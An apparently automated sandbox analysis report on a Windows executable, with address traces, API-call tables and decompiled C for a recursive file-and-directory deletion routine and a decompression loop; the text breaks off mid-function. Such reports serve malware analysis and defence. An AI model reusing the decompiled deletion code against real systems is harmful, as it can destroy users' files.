0x73861ad7
0x73861adf
0x73861adf
0x73861ae4
0x73861ae7
0x00000000
0x00000000
0x73861af1
0x73861af3
0x73861af8
0x73861afa
0x73861b8b
0x73861b8b
0x73861b8b
0x73861b8f
0x73861b92
0x73861b94
0x73861bb6
0x73861bb9
0x73861bbb
0x73861bc4
0x73861bca
0x73861bcc
0x73861bd2
0x73861bd2
0x73861bd8
0x73861bdb
0x73861bdb
0x73861bde
0x73861bde
0x73861be4
0x73861be6
0x73861be9
0x73861bef
0x73861bf2
0x73861bf2
0x73861bf4
0x73861bfa
0x73861bfd
0x73861c21
0x73861c24
0x00000000
0x00000000
0x73861c27
0x73861c29
0x73861c37
0x73861c3a
0x73861c3c
0x00000000
0x00000000
0x00000000
0x00000000
0x73861c3e
0x73861c3e
0x73861c3e
0x73861c44
0x73861c46
0x00000000
0x00000000
0x73861c48
0x73861c4a
0x73861c4c
0x73861c4e
0x00000000
0x00000000
0x00000000
0x73861c4e
0x73861c50
0x73861c52
0x73861c54
0x73861c54
0x73861c5a
0x73861c60
0x73861c62
0x73861c76
0x73861c76
0x73861c78
0x73861c64
0x73861c6a
0x73861c6d
0x73861c6d
0x00000000
0x73861bff
0x73861bff
0x73861bff
0x73861c00
0x73861c08
0x73861c0c
0x73861c12
0x73861c16
0x00000000
0x73861c16
0x73861c02
0x73861c02
0x73861c03
0x00000000
0x00000000
0x73861c05
0x73861c06
0x00000000
0x00000000
0x00000000
0x73861c06
0x73861b96
0x73861b97
0x73861ba0
0x73861ba3
0x73861bb0
0x73861bb0
0x73861ba5
0x73861ba5
0x73861c7e
0x73861c81
0x73861c84
0x73861cf6
0x73861cfa
0x73861adc
0x00000000
0x73861adc
0x00000000
0x73861cfa
0x73861b94
0x73861b00
0x73861b03
0x73861b66
0x73861b69
0x73861b7a
0x73861b7a
0x73861b7d
0x73861c89
0x73861c8c
0x73861c8c
0x73861c8e
0x73862033
0x73862045
0x73862045
0x73862047
0x00000000
0x00000000
0x73862037
0x73862038
0x7386203b
0x7386203e
0x738620ba
0x738620c1
0x738620c6
0x738620c9
0x73861cf2
0x73861cf2
0x73861cf2
0x73861cf3
0x00000000
0x73861cf3
0x73862040
0x73862042
0x73862042
0x73862049
0x7386204b
0x738620ae
0x73861ce7
0x73861cea
0x73861ced
0x73861cf0
0x73861cf0
0x00000000
0x73861cf0
0x7386204d
0x7386204f
0x73862055
0x73862055
0x73862057
0x7386205a
0x7386206d
0x7386206d
0x73862070
0x73862073
0x00000000
0x00000000
0x73862075
0x73862078
0x00000000
0x00000000
0x7386207a
0x73862081
0x73862081
0x73862087
0x7386208a
0x738620a6
0x7386208c
0x73862095
0x73862098
0x73862098
0x00000000
0x7386208a
0x7386205c
0x7386205f
0x73862062
0x00000000
0x00000000
0x73862064
0x00000000
0x73862064
0x73862051
0x73862053
0x00000000
0x00000000
0x00000000
0x73862053
0x73861c94
0x73861c94
0x73861c95
0x73861dde
0x73861dde
0x73861de5
0x73861de8
0x00000000
0x00000000
0x73861df5
0x00000000
0x73861fdb
0x73861fde
0x73861fe1
0x73861fe1
0x73861fe2
0x73861fe5
0x73861fe7
0x73861fe9
0x00000000
0x00000000
0x73861feb
0x73861feb
0x73861fee
0x73862000
0x73862003
0x73862006
0x7386200c
0x00000000
0x7386200c
0x73861ff0
0x73861ff0
0x73861ff2
0x00000000
0x00000000
0x73861ff4
0x73861ff6
0x73861ff8
0x73861ff8
0x73861ff8
0x73861ff9
0x73861ffb
0x73861ffd
0x73861fe1
0x73861fe2
0x73861fe5
0x73861fe7
0x73861fe9
0x00000000
0x00000000
0x00000000
0x73861fe9
0x00000000
0x73861e3c
0x00000000
0x00000000
0x73861e48
0x00000000
0x00000000
0x73861e2f
0x73861e33
0x73861e37
0x00000000
0x00000000
0x73861fad
0x73861fb1
0x00000000
0x00000000
0x73861fb7
0x73861fbf
0x73861fc6
0x73861fce
0x00000000
0x00000000
0x73861f15
0x73861f15
0x00000000
0x00000000
0x73861e51
0x00000000
0x00000000
0x7386202b
0x00000000
0x00000000
0x73861f1d
0x73861f1f
0x73861f1f
0x00000000
0x00000000
0x7386201b
0x00000000
0x00000000
0x7386201f
0x00000000
0x00000000
0x73862027
0x00000000
0x00000000
0x73861f64
0x73861f66
0x73861f66
0x00000000
0x00000000
0x73861f2f
0x73861f31
0x73861f31
0x00000000
0x00000000
0x73861f41
0x73861f43
0x73861f43
0x00000000
0x00000000
0x73861f72
0x73861f74
0x73861f74
0x00000000
0x00000000
0x73861f4c
0x73861f4e
0x73861f4e
0x00000000
0x00000000
0x73861f53
0x00000000
0x00000000
0x73862023
0x7386202d
0x7386202d
0x00000000
0x00000000
0x73861f7d
0x73861f81
0x73861f86
0x73861f89
0x73861f8a
0x73861f8d
0x73861f93
0x73861f93
0x00000000
0x00000000
0x73862013
0x00000000
0x00000000
0x73861f57
0x73861f57
0x00000000
0x00000000
0x73861e58
0x73861e58
0x00000000
0x00000000
0x73861f6b
0x73861f6d
0x73861f6d
0x00000000
0x00000000
0x73861dfc
0x73861e02
0x73861e05
0x73861e07
0x73861e07
0x73861e0a
0x73861e0e
0x73861e1b
0x73861e1d
0x73861e23
0x73861e23
0x73861e23
0x00000000
0x00000000
0x73861f20
0x73861f20
0x73861f22
0x73861f29
0x00000000
0x00000000
0x73861f67
0x73861f67
0x00000000
0x00000000
0x73861f32
0x73861f32
0x73861f34
0x73861f3b
0x00000000
0x00000000
0x73861f44
0x73861f44
0x73861f46
0x00000000
0x00000000
0x73861f75
0x73861f75
0x00000000
0x00000000
0x73861f4f
0x73861f4f
0x00000000
0x00000000
0x73861f9b
0x73861f9f
0x73861fa4
0x73861fa7
0x00000000
0x00000000
0x73861f59
0x73861f59
0x73861f5c
0x73861f5e
0x00000000
0x00000000
0x73861f6e
0x73861f6e
0x73861f77
0x73861f77
0x73861e5a
0x73861e5a
0x73861e5d
0x73861e64
0x73861e66
0x73861e68
0x73861e6f
0x73861e72
0x73861e77
0x73861e79
0x73861e7b
0x73861e7f
0x73861e85
0x73861e8b
0x73861e8b
0x73861e8d
0x73861e8d
0x73861e8e
0x73861e8e
0x73861e92
0x73861e98
0x73861e9a
0x73861e9e
0x73861ea3
0x73861ea3
0x73861ea5
0x73861ea5
0x73861ea8
0x73861eab
0x73861eb4
0x73861eb7
0x73861eba
0x73861eba
0x73861ebc
0x73861ebf
0x73861ec5
0x73861ecb
0x73861ecb
0x73861ecd
0x00000000
0x00000000
0x73861ed3
0x73861ed3
0x73861ed7
0x73861ede
0x73861f02
0x73861f02
0x73861f06
0x73861f08
0x73861f0b
0x73861f0b
0x73861f0e
0x73861f0e
0x00000000
0x73861f06
0x73861ee3
0x73861ee6
0x73861ee6
0x73861eed
0x73861eef
0x73861ef2
0x73861ef9
0x73861efa
0x73861f00
0x73861f00
0x00000000
0x73861f00
0x73861ef4
0x73861ef7
0x00000000
0x00000000
0x00000000
0x73861ef7
0x73861e87
0x73861e89
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x73861df5
0x73861c9b
0x73861c9b
0x73861c9c
0x73861ddb
0x00000000
0x73861ddb
0x73861ca2
0x73861ca3
0x00000000
0x00000000
0x73861ca9
0x73861cac
0x73861da0
0x73861da0
0x73861da3
0x73861db8
0x73861dba
0x73861dba
0x73861dbb
0x73861dbe
0x73861dc1
0x73861dcd
0x73861dcd
0x73861dcd
0x73861dc3
0x73861dc3
0x73861dc3
0x73861dd3
0x00000000
0x73861dd3
0x73861da5
0x73861da5
0x73861da6
0x73861db4
0x00000000
0x73861db4
0x73861da9
0x73861daa
0x00000000
0x00000000
0x73861db0
0x00000000
0x73861db0
0x73861cb2
0x73861d9c
0x00000000
0x73861d9c
0x73861cb8
0x73861cb8
0x73861cbb
0x73861ce4
0x00000000
0x73861ce4
0x73861cbd
0x73861cbd
0x73861cc0
0x73861cda
0x00000000
0x73861cda
0x73861cc2
0x73861cc2
0x73861cc5
0x73861cd4
0x00000000
0x73861cd4
0x73861cc8
0x73861cc9
0x00000000
0x00000000
0x73861ccb
0x00000000
0x73861b83
0x73861b83
0x73861b86
0x00000000
0x73861b86
0x73861b7d
0x73861b6b
0x73861b6f
0x00000000
0x00000000
0x73861b71
0x73861b74
0x00000000
0x00000000
0x00000000
0x73861b74
0x73861b05
0x73861b08
0x73861b3e
0x73861b41
0x00000000
0x73861b47
0x73861b49
0x73861b4d
0x73861b54
0x73861b5b
0x73861b5e
0x73861b61
0x00000000
0x73861b61
0x73861b41
0x73861b0a
0x73861b0b
0x73861b26
0x73861b29
0x00000000
0x73861b2f
0x73861b2f
0x73861b36
0x73861b39
0x00000000
0x73861b39
0x73861b29
0x73861b10
0x00000000
0x73861b16
0x73861b16
0x73861b1d
0x00000000
0x73861b1d
0x73861b10
0x73861d09
0x73861d0e
0x73861d13
0x73861d17
0x738621c6
0x738621cc
0x73861d29
0x73861d2b
0x73861d2c
0x738620f1
0x738620f1
0x738620f4
0x738620f7
0x73862114
0x7386211a
0x7386211c
0x73862122
0x73862139
0x73862139
0x73862139
0x73862146
0x7386214c
0x7386214f
0x73862155
0x73862157
0x7386215a
0x7386215c
0x73862163
0x73862168
0x7386216b
0x7386216d
0x73862172
0x73862184
0x73862184
0x73862172
0x7386216b
0x7386215a
0x7386218a
0x7386218d
0x73862197
0x7386219f
0x738621ab
0x738621b1
0x738621b4
0x738620e6
0x738620e6
0x00000000
0x738620e6
0x738621ba
0x738621c0
0x738621c0
0x00000000
0x00000000
0x738621c2
0x738621c2
0x738621c2
0x738621c2
0x00000000
0x7386218f
0x7386218f
0x73862195
0x00000000
0x00000000
0x00000000
0x73862195
0x7386218d
0x73862125
0x7386212b
0x7386212d
0x73862133
0x00000000
0x00000000
0x00000000
0x73862133
0x738620f9
0x73862100
0x73862106
0x7386210c
0x00000000
0x7386210c
0x73861d32
0x73861d33
0x738620d0
0x738620d0
0x738620d6
0x738620d9
0x00000000
0x00000000
0x738620e0
0x738620e5
0x00000000
0x738620e5
0x73861d3a
0x00000000
0x00000000
0x73861d40
0x73861d40
0x73861d49
0x73861d4e
0x73861d54
0x00000000
0x00000000
0x73861d5a
0x73861d67
0x73861d6d
0x73861d77
0x73861d7d
0x73861d85
0x73861d95
0x00000000
0x73861d95

APIs

Part of subcall function 73861215: GlobalAlloc.KERNELBASE(00000040,73861233,?,738612CF,-7386404B,738611AB,-000000A0), ref: 7386121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 73861BC4
lstrcpyA.KERNEL32(00000008,?), ref: 73861C0C
lstrcpyA.KERNEL32(00000408,?), ref: 73861C16
GlobalFree.KERNEL32 ref: 73861C29
GlobalFree.KERNEL32 ref: 73861D09
GlobalFree.KERNEL32 ref: 73861D0E
GlobalFree.KERNEL32 ref: 73861D13
GlobalFree.KERNEL32 ref: 73861EFA
lstrcpyA.KERNEL32(?,?), ref: 73862098
GetModuleHandleA.KERNEL32(00000008), ref: 73862114
LoadLibraryA.KERNEL32(00000008), ref: 73862125
GetProcAddress.KERNEL32(?,?), ref: 7386217E
lstrlenA.KERNEL32(00000408), ref: 73862198

Strings

Nxt, xrefs: 7386217E

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID: Nxt
API String ID: 245916457-3788892007
Opcode ID: 10542ae9c4ba136f9ca57c2e5dc6d8122d015ce5b0807c2e031bd8c837fcae8e
Instruction ID: 34ed02bd15f92c2ccbb80e8976e10bea653b58a3309e3ec289d05e8a2b1d6077
Opcode Fuzzy Hash: 10542ae9c4ba136f9ca57c2e5dc6d8122d015ce5b0807c2e031bd8c837fcae8e
Instruction Fuzzy Hash: 1F229A71D0460ADFDB12CFE4C8827ADBBF7BB04305F14856ED296A6283DB749681CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00405302, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00405302(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E004055B1(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x423f08 =  *0x423f08 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E004059DD(0x421480, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E00405517(_t72);
					} else {
						lstrcatA(0x421480, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x409010);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]);
						_t37 = FindFirstFileA(0x421480,  &_v332);
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E004054FB( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E004059DD(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E00405695(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404D7B(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x423f08 =  *0x423f08 + 1;
										} else {
											E00404D7B(0xfffffff1, _t72);
											_push(0);
											_push(_t72);
											E0040572B();
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405302(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332);
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4);
						goto L29;
					}
					__eflags =  *0x421480 - 0x5c;
					if( *0x421480 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405CD8(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E004054D0(_t72);
							E00405695(_t72);
							_t37 = RemoveDirectoryA(_t72);
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404D7B(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404D7B(0xfffffff1, _t72);
							_push(0);
							_push(_t72);
							return E0040572B();
						}
						L33:
						 *0x423f08 =  *0x423f08 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x0040530d
0x00405311
0x0040531a
0x0040531d
0x00405320
0x00405328
0x0040532a
0x0040532b
0x00000000
0x0040532b
0x0040533a
0x0040533a
0x0040533d
0x00405340
0x00405354
0x0040535b
0x00405360
0x00405362
0x00405372
0x00405364
0x0040536a
0x0040536a
0x00405377
0x0040537a
0x00405385
0x0040538b
0x00405390
0x004053a0
0x004053a2
0x004053a8
0x004053ab
0x004053ae
0x0040546b
0x0040546b
0x0040546f
0x00405471
0x00405471
0x00405471
0x00405471
0x00000000
0x00000000
0x00000000
0x00000000
0x004053b4
0x004053b4
0x004053bd
0x004053c3
0x004053c8
0x004053cb
0x004053cd
0x004053d1
0x004053d3
0x004053d3
0x004053d1
0x004053d6
0x004053d9
0x004053ec
0x004053ee
0x004053f3
0x004053fa
0x00405412
0x00405418
0x0040541e
0x00405420
0x00405445
0x00405422
0x00405422
0x00405426
0x0040543a
0x00405428
0x0040542b
0x00405430
0x00405432
0x00405433
0x00405433
0x00405426
0x004053fc
0x00405402
0x00405404
0x0040540a
0x0040540a
0x00405404
0x00000000
0x004053fa
0x004053db
0x004053de
0x004053e0
0x00000000
0x00000000
0x004053e2
0x004053e4
0x00000000
0x00000000
0x004053e6
0x004053ea
0x00000000
0x00000000
0x00000000
0x0040544a
0x00405454
0x0040545a
0x0040545a
0x00405465
0x00000000
0x00405465
0x0040537c
0x00405383
0x00000000
0x00000000
0x00000000
0x00405342
0x00405342
0x00405344
0x00405475
0x00405478
0x0040547b
0x004054cd
0x004054cd
0x004054cd
0x0040547d
0x00405480
0x0040548b
0x00405490
0x00405492
0x00000000
0x00000000
0x00405495
0x0040549b
0x004054a1
0x004054a7
0x004054a9
0x00000000
0x004054c5
0x004054ab
0x004054af
0x00000000
0x00000000
0x004054b4
0x004054b9
0x004054ba
0x00000000
0x004054bb
0x00405482
0x00405482
0x00000000
0x00405482
0x0040534a
0x0040534e
0x00000000
0x00000000
0x00000000
0x0040534e

APIs

DeleteFileA.KERNELBASE(?,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000), ref: 00405320
lstrcatA.KERNEL32(00421480,\*.*,00421480,?,00000000,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000), ref: 0040536A
lstrcatA.KERNEL32(?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000), ref: 0040538B
lstrlenA.KERNEL32(?,?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000), ref: 00405391
FindFirstFileA.KERNEL32(00421480,?,?,?,00409010,?,00421480,?,00000000,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000), ref: 004053A2
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 00405454
FindClose.KERNEL32(?), ref: 00405465

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405302
\*.*, xrefs: 00405364
"C:\Users\user\Desktop\US1pwXib6h.exe" , xrefs: 0040530C

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\US1pwXib6h.exe" $C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1764142790
Opcode ID: 839bd3744fd32e7d0185c0b890ed2fdcf981fbc651edb5541a67b6ee6968ffb2
Instruction ID: 4b200e60d3e8d58e0ab6cbb93b3ca9934a2dcfa31e3b076817fab6d13423d761
Opcode Fuzzy Hash: 839bd3744fd32e7d0185c0b890ed2fdcf981fbc651edb5541a67b6ee6968ffb2
Instruction Fuzzy Hash: 45511230844A48B6DB226B228C45BFF3A78DF4275AF14813BF845751D1C77C4981DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405FA8, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00405FA8() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
